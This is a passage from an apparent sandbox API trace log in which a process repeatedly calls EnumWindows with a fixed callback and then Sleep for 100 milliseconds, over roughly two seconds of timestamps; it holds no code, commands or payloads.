(dwMilliseconds=0x64) [0251.505] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.506] Sleep (dwMilliseconds=0x64) [0251.513] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.514] Sleep (dwMilliseconds=0x64) [0251.516] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.516] Sleep (dwMilliseconds=0x64) [0251.518] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.518] Sleep (dwMilliseconds=0x64) [0251.520] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.520] Sleep (dwMilliseconds=0x64) [0251.522] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.522] Sleep (dwMilliseconds=0x64) [0251.524] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.524] Sleep (dwMilliseconds=0x64) [0251.527] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.528] Sleep (dwMilliseconds=0x64) [0251.529] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.529] Sleep (dwMilliseconds=0x64) [0251.531] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.531] Sleep (dwMilliseconds=0x64) [0251.533] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.533] Sleep (dwMilliseconds=0x64) [0251.535] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.536] Sleep (dwMilliseconds=0x64) [0251.537] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.537] Sleep (dwMilliseconds=0x64) [0251.539] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.539] Sleep (dwMilliseconds=0x64) [0251.541] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.542] Sleep (dwMilliseconds=0x64) [0251.543] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.543] Sleep (dwMilliseconds=0x64) [0251.545] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.545] Sleep (dwMilliseconds=0x64) [0251.547] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.547] Sleep (dwMilliseconds=0x64) [0251.549] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.549] Sleep (dwMilliseconds=0x64) [0251.551] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.551] Sleep (dwMilliseconds=0x64) [0251.553] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.553] Sleep (dwMilliseconds=0x64) [0251.555] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.556] Sleep (dwMilliseconds=0x64) [0251.557] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.557] Sleep (dwMilliseconds=0x64) [0251.559] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.560] Sleep (dwMilliseconds=0x64) [0251.561] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.562] Sleep (dwMilliseconds=0x64) [0251.563] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.564] Sleep (dwMilliseconds=0x64) [0251.565] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.565] Sleep (dwMilliseconds=0x64) [0251.567] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.567] Sleep (dwMilliseconds=0x64) [0251.570] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.570] Sleep (dwMilliseconds=0x64) [0251.572] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.573] Sleep (dwMilliseconds=0x64) [0251.643] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.644] Sleep (dwMilliseconds=0x64) [0251.718] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.719] Sleep (dwMilliseconds=0x64) [0251.756] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.757] Sleep (dwMilliseconds=0x64) [0251.844] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.845] Sleep (dwMilliseconds=0x64) [0251.848] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.849] Sleep (dwMilliseconds=0x64) [0251.856] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.857] Sleep (dwMilliseconds=0x64) [0251.864] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.865] Sleep (dwMilliseconds=0x64) [0251.867] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.867] Sleep (dwMilliseconds=0x64) [0251.869] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.869] Sleep (dwMilliseconds=0x64) [0251.871] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.871] Sleep (dwMilliseconds=0x64) [0251.873] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.874] Sleep (dwMilliseconds=0x64) [0251.883] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.884] Sleep (dwMilliseconds=0x64) [0251.990] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0251.991] Sleep (dwMilliseconds=0x64) [0252.003] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.003] Sleep (dwMilliseconds=0x64) [0252.005] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.006] Sleep (dwMilliseconds=0x64) [0252.008] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.008] Sleep (dwMilliseconds=0x64) [0252.010] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.010] Sleep (dwMilliseconds=0x64) [0252.012] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.012] Sleep (dwMilliseconds=0x64) [0252.016] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.016] Sleep (dwMilliseconds=0x64) [0252.017] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.018] Sleep (dwMilliseconds=0x64) [0252.020] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.021] Sleep (dwMilliseconds=0x64) [0252.022] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.022] Sleep (dwMilliseconds=0x64) [0252.024] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.024] Sleep (dwMilliseconds=0x64) [0252.026] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.027] Sleep (dwMilliseconds=0x64) [0252.039] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.039] Sleep (dwMilliseconds=0x64) [0252.117] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.117] Sleep (dwMilliseconds=0x64) [0252.125] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.125] Sleep (dwMilliseconds=0x64) [0252.156] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.157] Sleep (dwMilliseconds=0x64) [0252.164] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.164] Sleep (dwMilliseconds=0x64) [0252.173] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.174] Sleep (dwMilliseconds=0x64) [0252.180] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.181] Sleep (dwMilliseconds=0x64) [0252.183] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.183] Sleep (dwMilliseconds=0x64) [0252.186] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.187] Sleep (dwMilliseconds=0x64) [0252.249] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.250] Sleep (dwMilliseconds=0x64) [0252.301] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.302] Sleep (dwMilliseconds=0x64) [0252.303] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.304] Sleep (dwMilliseconds=0x64) [0252.315] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.316] Sleep (dwMilliseconds=0x64) [0252.324] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.325] Sleep (dwMilliseconds=0x64) [0252.327] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.327] Sleep (dwMilliseconds=0x64) [0252.329] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.330] Sleep (dwMilliseconds=0x64) [0252.331] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.332] Sleep (dwMilliseconds=0x64) [0252.399] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.399] Sleep (dwMilliseconds=0x64) [0252.452] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.453] Sleep (dwMilliseconds=0x64) [0252.455] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.455] Sleep (dwMilliseconds=0x64) [0252.457] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.457] Sleep (dwMilliseconds=0x64) [0252.459] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.459] Sleep (dwMilliseconds=0x64) [0252.461] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.461] Sleep (dwMilliseconds=0x64) [0252.463] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.463] Sleep (dwMilliseconds=0x64) [0252.465] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.465] Sleep (dwMilliseconds=0x64) [0252.471] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.471] Sleep (dwMilliseconds=0x64) [0252.472] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.473] Sleep (dwMilliseconds=0x64) [0252.475] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.475] Sleep (dwMilliseconds=0x64) [0252.476] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.477] Sleep (dwMilliseconds=0x64) [0252.478] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.478] Sleep (dwMilliseconds=0x64) [0252.480] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.480] Sleep (dwMilliseconds=0x64) [0252.517] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.518] Sleep (dwMilliseconds=0x64) [0252.554] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.555] Sleep (dwMilliseconds=0x64) [0252.622] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.623] Sleep (dwMilliseconds=0x64) [0252.631] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.632] Sleep (dwMilliseconds=0x64) [0252.639] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.640] Sleep (dwMilliseconds=0x64) [0252.642] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.643] Sleep (dwMilliseconds=0x64) [0252.645] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.645] Sleep (dwMilliseconds=0x64) [0252.647] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.647] Sleep (dwMilliseconds=0x64) [0252.649] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.649] Sleep (dwMilliseconds=0x64) [0252.678] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.678] Sleep (dwMilliseconds=0x64) [0252.681] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.681] Sleep (dwMilliseconds=0x64) [0252.684] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.684] Sleep (dwMilliseconds=0x64) [0252.685] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.686] Sleep (dwMilliseconds=0x64) [0252.688] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.688] Sleep (dwMilliseconds=0x64) [0252.689] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.690] Sleep (dwMilliseconds=0x64) [0252.691] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.692] Sleep (dwMilliseconds=0x64) [0252.693] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.694] Sleep (dwMilliseconds=0x64) [0252.695] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.696] Sleep (dwMilliseconds=0x64) [0252.697] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.698] Sleep (dwMilliseconds=0x64) [0252.700] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.700] Sleep (dwMilliseconds=0x64) [0252.702] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.703] Sleep (dwMilliseconds=0x64) [0252.704] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.705] Sleep (dwMilliseconds=0x64) [0252.706] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.707] Sleep (dwMilliseconds=0x64) [0252.708] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.709] Sleep (dwMilliseconds=0x64) [0252.711] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.711] Sleep (dwMilliseconds=0x64) [0252.713] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.713] Sleep (dwMilliseconds=0x64) [0252.715] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.715] Sleep (dwMilliseconds=0x64) [0252.717] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.717] Sleep (dwMilliseconds=0x64) [0252.720] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.720] Sleep (dwMilliseconds=0x64) [0252.722] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.722] Sleep (dwMilliseconds=0x64) [0252.724] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.724] Sleep (dwMilliseconds=0x64) [0252.725] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.726] Sleep (dwMilliseconds=0x64) [0252.727] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.728] Sleep (dwMilliseconds=0x64) [0252.730] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.730] Sleep (dwMilliseconds=0x64) [0252.732] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.732] Sleep (dwMilliseconds=0x64) [0252.733] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.734] Sleep (dwMilliseconds=0x64) [0252.736] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.736] Sleep (dwMilliseconds=0x64) [0252.738] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.738] Sleep (dwMilliseconds=0x64) [0252.739] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.740] Sleep (dwMilliseconds=0x64) [0252.742] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.742] Sleep (dwMilliseconds=0x64) [0252.744] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.745] Sleep (dwMilliseconds=0x64) [0252.746] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.746] Sleep (dwMilliseconds=0x64) [0252.748] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.748] Sleep (dwMilliseconds=0x64) [0252.750] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.750] Sleep (dwMilliseconds=0x64) [0252.752] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.752] Sleep (dwMilliseconds=0x64) [0252.754] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.754] Sleep (dwMilliseconds=0x64) [0252.756] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.756] Sleep (dwMilliseconds=0x64) [0252.758] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.758] Sleep (dwMilliseconds=0x64) [0252.760] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.760] Sleep (dwMilliseconds=0x64) [0252.762] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.762] Sleep (dwMilliseconds=0x64) [0252.764] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.764] Sleep (dwMilliseconds=0x64) [0252.767] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.767] Sleep (dwMilliseconds=0x64) [0252.769] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.769] Sleep (dwMilliseconds=0x64) [0252.771] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.772] Sleep (dwMilliseconds=0x64) [0252.773] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.774] Sleep (dwMilliseconds=0x64) [0252.778] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.778] Sleep (dwMilliseconds=0x64) [0252.780] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.780] Sleep (dwMilliseconds=0x64) [0252.783] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.783] Sleep (dwMilliseconds=0x64) [0252.785] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.785] Sleep (dwMilliseconds=0x64) [0252.787] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.787] Sleep (dwMilliseconds=0x64) [0252.789] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.789] Sleep (dwMilliseconds=0x64) [0252.791] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.791] Sleep (dwMilliseconds=0x64) [0252.793] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.793] Sleep (dwMilliseconds=0x64) [0252.795] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.795] Sleep (dwMilliseconds=0x64) [0252.797] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.797] Sleep (dwMilliseconds=0x64) [0252.798] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.799] Sleep (dwMilliseconds=0x64) [0252.800] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.801] Sleep (dwMilliseconds=0x64) [0252.802] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.803] Sleep (dwMilliseconds=0x64) [0252.804] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.804] Sleep (dwMilliseconds=0x64) [0252.806] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.807] Sleep (dwMilliseconds=0x64) [0252.808] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.809] Sleep (dwMilliseconds=0x64) [0252.810] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.811] Sleep (dwMilliseconds=0x64) [0252.812] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.813] Sleep (dwMilliseconds=0x64) [0252.814] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.815] Sleep (dwMilliseconds=0x64) [0252.816] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.817] Sleep (dwMilliseconds=0x64) [0252.818] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.821] Sleep (dwMilliseconds=0x64) [0252.822] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.823] Sleep (dwMilliseconds=0x64) [0252.825] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.825] Sleep (dwMilliseconds=0x64) [0252.827] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.827] Sleep (dwMilliseconds=0x64) [0252.829] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.829] Sleep (dwMilliseconds=0x64) [0252.831] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.831] Sleep (dwMilliseconds=0x64) [0252.833] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.833] Sleep (dwMilliseconds=0x64) [0252.836] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.836] Sleep (dwMilliseconds=0x64) [0252.838] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.838] Sleep (dwMilliseconds=0x64) [0252.840] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.840] Sleep (dwMilliseconds=0x64) [0252.842] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.842] Sleep (dwMilliseconds=0x64) [0252.844] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.844] Sleep (dwMilliseconds=0x64) [0252.846] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.846] Sleep (dwMilliseconds=0x64) [0252.848] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.848] Sleep (dwMilliseconds=0x64) [0252.850] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.850] Sleep (dwMilliseconds=0x64) [0252.852] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0252.853] Sleep (dwMilliseconds=0x64) [0253.005] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.007] Sleep (dwMilliseconds=0x64) [0253.009] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.009] Sleep (dwMilliseconds=0x64) [0253.010] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.011] Sleep (dwMilliseconds=0x64) [0253.018] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.018] Sleep (dwMilliseconds=0x64) [0253.026] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.026] Sleep (dwMilliseconds=0x64) [0253.035] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.035] Sleep (dwMilliseconds=0x64) [0253.117] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.117] Sleep (dwMilliseconds=0x64) [0253.143] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.144] Sleep (dwMilliseconds=0x64) [0253.152] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.153] Sleep (dwMilliseconds=0x64) [0253.160] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.161] Sleep (dwMilliseconds=0x64) [0253.168] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.169] Sleep (dwMilliseconds=0x64) [0253.172] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.173] Sleep (dwMilliseconds=0x64) [0253.228] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.229] Sleep (dwMilliseconds=0x64) [0253.280] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.280] Sleep (dwMilliseconds=0x64) [0253.282] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.283] Sleep (dwMilliseconds=0x64) [0253.284] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.284] Sleep (dwMilliseconds=0x64) [0253.286] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.286] Sleep (dwMilliseconds=0x64) [0253.288] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.288] Sleep (dwMilliseconds=0x64) [0253.290] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.290] Sleep (dwMilliseconds=0x64) [0253.296] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.296] Sleep (dwMilliseconds=0x64) [0253.298] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.298] Sleep (dwMilliseconds=0x64) [0253.300] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.301] Sleep (dwMilliseconds=0x64) [0253.302] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.302] Sleep (dwMilliseconds=0x64) [0253.304] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.305] Sleep (dwMilliseconds=0x64) [0253.306] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.306] Sleep (dwMilliseconds=0x64) [0253.308] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.308] Sleep (dwMilliseconds=0x64) [0253.310] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.310] Sleep (dwMilliseconds=0x64) [0253.335] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.335] Sleep (dwMilliseconds=0x64) [0253.427] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.428] Sleep (dwMilliseconds=0x64) [0253.430] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.431] Sleep (dwMilliseconds=0x64) [0253.432] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.432] Sleep (dwMilliseconds=0x64) [0253.447] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.448] Sleep (dwMilliseconds=0x64) [0253.458] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.459] Sleep (dwMilliseconds=0x64) [0253.479] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.480] Sleep (dwMilliseconds=0x64) [0253.486] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.487] Sleep (dwMilliseconds=0x64) [0253.563] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.564] Sleep (dwMilliseconds=0x64) [0253.571] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.572] Sleep (dwMilliseconds=0x64) [0253.581] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.582] Sleep (dwMilliseconds=0x64) [0253.584] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.584] Sleep (dwMilliseconds=0x64) [0253.586] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.586] Sleep (dwMilliseconds=0x64) [0253.588] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.588] Sleep (dwMilliseconds=0x64) [0253.590] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.590] Sleep (dwMilliseconds=0x64) [0253.592] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.592] Sleep (dwMilliseconds=0x64) [0253.593] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.594] Sleep (dwMilliseconds=0x64) [0253.596] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.596] Sleep (dwMilliseconds=0x64) [0253.599] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.599] Sleep (dwMilliseconds=0x64) [0253.601] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.601] Sleep (dwMilliseconds=0x64) [0253.603] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.603] Sleep (dwMilliseconds=0x64) [0253.605] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.605] Sleep (dwMilliseconds=0x64) [0253.607] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.607] Sleep (dwMilliseconds=0x64) [0253.609] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.609] Sleep (dwMilliseconds=0x64) [0253.716] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.717] Sleep (dwMilliseconds=0x64) [0253.759] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.760] Sleep (dwMilliseconds=0x64) [0253.762] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.763] Sleep (dwMilliseconds=0x64) [0253.764] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.765] Sleep (dwMilliseconds=0x64) [0253.766] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.767] Sleep (dwMilliseconds=0x64) [0253.768] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.769] Sleep (dwMilliseconds=0x64) [0253.770] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.770] Sleep (dwMilliseconds=0x64) [0253.771] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.772] Sleep (dwMilliseconds=0x64) [0253.773] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.773] Sleep (dwMilliseconds=0x64) [0253.775] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.775] Sleep (dwMilliseconds=0x64) [0253.776] EnumWindows (lpEnumFunc=0x403dd0, lParam=0x2290000) [0253.777] Sleep 